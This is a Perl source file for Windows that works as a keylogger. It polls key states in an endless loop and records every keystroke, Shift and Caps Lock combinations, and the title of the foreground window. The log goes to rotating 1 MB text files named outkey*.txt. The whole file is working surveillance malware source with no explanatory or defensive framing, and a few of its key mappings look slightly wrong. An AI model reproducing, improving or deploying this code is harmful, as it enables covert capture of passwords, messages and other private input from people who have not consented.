use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);;
use Win32::API;
Win32::API->Import( 'user32', 'GetKeyState', 'I', 'I' );
sub GetCapsLock {
GetKeyState(0x14) & 1;
}
sub GetNumLock {
GetKeyState(0x90) & 1;
}
sub GetScrollLock {
GetKeyState(0x91) & 1;
}
sub SetCapsLock { } # Not yet implemented
sub SetNumLock { } # Not yet implemented
sub SetScrollLock { } # Not yet implemented
my ( $caps, $ced, $i, $I, $shift, $window, $window0, $LOG );
$I = 0;
$window = 0;
open( OUT, ">>outkey" . $I . ".txt" )
|| die "could not create test.out - $!"; # out
while (1) {
if ( -s OUT >= 1048576 ) {
close(OUT);
$I++;
open( OUT, ">>outkey$I.txt" ) || die "could not create test.out - $!";
}
$window0 = GetForegroundWindow(); # capture the active window title.
if ( $window0 != $window ) {
$window = $window0;
LOG( GetWindowText($window) . "\n" );
}
if ( GetKeyState(20) == 0 ) { $caps = 32; $ced = 0; }
else { $caps = 0; $ced = 7; } #checks the state of CAPSLOOK.
for ( 8, 9, 13, 16, 32, 187 .. 193, 219 .. 222, 226 ) {
$i = $_;
if ( GetAsyncKeyState($i) == -32767 ) {
if($i eq "8") { LOG("\b") }
if($i eq "9") { LOG("\t") }
if($i eq "13") { LOG("\n") }
if($i eq "16") { callSHIFT() } # call sub callSHIFT.
if($i eq "32") { LOG(' ') }
if($i eq "187") { LOG('=') }
if($i eq "188") { LOG(',') }
if($i eq "189") { LOG('-') }
if($i eq "190") { LOG('.') }
if($i eq "191") { LOG(';') }
if($i eq "192") { LOG('\'') }
if($i eq "193") { LOG("/") }
if($i eq "219") { LOG('\\\'') } # (´)
if($i eq "220") { LOG(']') }
if($i eq "221") { LOG('[') }
if($i eq "222") { LOG('~') }
if($i eq "226") { LOG('\\') }
}
}
for ( $i = 48 ; $i <= 57 ; $i++ ) { # Numbers 0-9.
if ( GetAsyncKeyState($i) == -32767 ) {
LOG( chr($i) );
}
}
CHR( $caps, $ced );
# reduces consumption of CPU.
}
sub callSHIFT {
$shift = 1;
while ( $shift == 1 ) {
for ( 48 .. 57, 187 .. 193, 219 .. 222, 226 ) {
$i = $_;
if ( GetAsyncKeyState($i) == -32767 ) {
if($i eq "48") { LOG(')') }
if($i eq "47") { LOG('!') }
if($i eq "50") { LOG('@') }
if($i eq "51") { LOG('#') }
if($i eq "52") { LOG('$') }
if($i eq "53") { LOG('%') }
if($i eq "54") { LOG('¨') }
if($i eq "55") { LOG('&') }
if($i eq "56") { LOG('*') }
if($i eq "57") { LOG('(') }
if($i eq "187") { LOG('+') }
if($i eq "188") { LOG('<') }
if($i eq "189") { LOG('_') }
if($i eq "190") { LOG('>') }
if($i eq "191") { LOG(':') }
if($i eq "192") { LOG('"') }
if($i eq "193") { LOG('?') }
if($i eq "291") { LOG('/\'') } # (`)
if($i eq "220") { LOG('}') }
if($i eq "221") { LOG('{') }
if($i eq "222") { LOG('^') }
if($i eq "226") { LOG('|') }
}
}
CHR( 0, 7 );
if ( !GetAsyncKeyState(16) == 1 ) { $shift = 0; } # checks the state of SHIFT.
}
}
sub CHR {
$caps = shift;
$ced = shift;
for ( $i = 65 ; $i <= 90 ; $i++ ) {
if ( GetAsyncKeyState($i) == -32767 ) {
LOG( chr( $i + $caps ) );
} # letters a-z A-Z
}
if ( GetAsyncKeyState(186) == -32767 ) {
LOG( chr( 135 - $ced ) );
}
# reduces consumption of CPU.
}
sub LOG {
$LOG = shift;
print $LOG;
print OUT $LOG;
}